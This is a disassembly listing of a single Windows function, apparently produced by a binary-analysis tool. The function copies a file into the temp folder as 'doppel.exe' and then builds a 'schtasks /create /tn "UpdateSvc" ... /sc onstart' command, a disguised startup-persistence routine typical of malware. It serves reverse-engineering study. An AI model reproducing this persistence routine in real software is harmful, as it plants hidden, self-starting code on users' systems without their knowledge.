Function at 0x1400025c4
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
xor r15d, r15d
lea rdx, [rbp - 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm7, xmmword [0x140020d80]
movdqu xmmword [rsp + 0x40], xmm7
movsd xmm0, qword [str.doppel.exe]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x140020ba8]
mov word [rsp + 0x38], ax
mov byte [rsp + 0x3a], r15b
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14000145c
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400014c4
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000265a
mov r8, qword [rax]
lea rcx, [rbp - 0x50]
dec rcx
inc rcx
cmp byte [rcx], r15b
jne 0x140002661
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x14000266b
mov r14d, 0x1000
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400026be
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x1400026b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b97
call fcn.1400050ec
movdqa xmm7, xmmword [0x140020d80]
movdqa xmm6, xmmword [0x140020d50]
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], r15b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000270f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140002702
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b9d
call fcn.1400050ec
movdqa xmm7, xmmword [0x140020d80]
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000275a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x14000274d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ba3
call fcn.1400050ec
movdqa xmm7, xmmword [0x140020d80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm7
movsd xmm0, qword [str.doppel.exe]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x140020ba8]
mov word [rsp + 0x38], ax
mov byte [rsp + 0x3a], r15b
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.14000145c
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400014c4
cmp qword [rax + 0x18], 0xf
jbe 0x1400027ad
mov rax, qword [rax]
xor r8d, r8d
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400027f5
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x1400027f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ba9
call fcn.1400050ec
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], r15b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002836
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140002831
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002baf
call fcn.1400050ec
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002878
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x140002873
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bb5
call fcn.1400050ec
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x26
lea rdx, str.schtasks__create__tn__UpdateSvc___tr__
lea rcx, [rsp + 0x30]
call fcn.140004a60
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14000145c
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000145c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400028f7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x1400028f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bbb
call fcn.1400050ec
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000293a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x140002935
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bc1
call fcn.1400050ec
lea rax, [rbp - 0x50]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140002942
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
sub rax, rcx
cmp rdi, rax
ja 0x14000298f
lea rax, [rcx + rdi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.140016990
mov byte [rdi + rbx], r15b
jmp 0x1400029a5
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x50]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140004b70
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140020da0]
movdqu xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [str.___sc_onstart]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140020be0]
mov dword [rsp + 0x38], eax
mov al, byte [0x140020be4]
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], r15b
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14000145c
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000145c
nop
lea r9, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r9, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
sub rax, rcx
cmp rdi, rax
ja 0x140002a54
lea rax, [rcx + rdi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140016990
mov byte [rdi + rbx], r15b
jmp 0x140002a67
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140004b70
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002a9e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140002a99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bc7
call fcn.1400050ec
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], r15b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002adf
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140002ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bcd
call fcn.1400050ec
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002b22
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x140002b1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bd3
call fcn.1400050ec
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call fcn.14000acdc
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002b6e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r14
jb 0x140002b69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b91
call fcn.1400050ec
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
nop
call fcn.14000b230
int3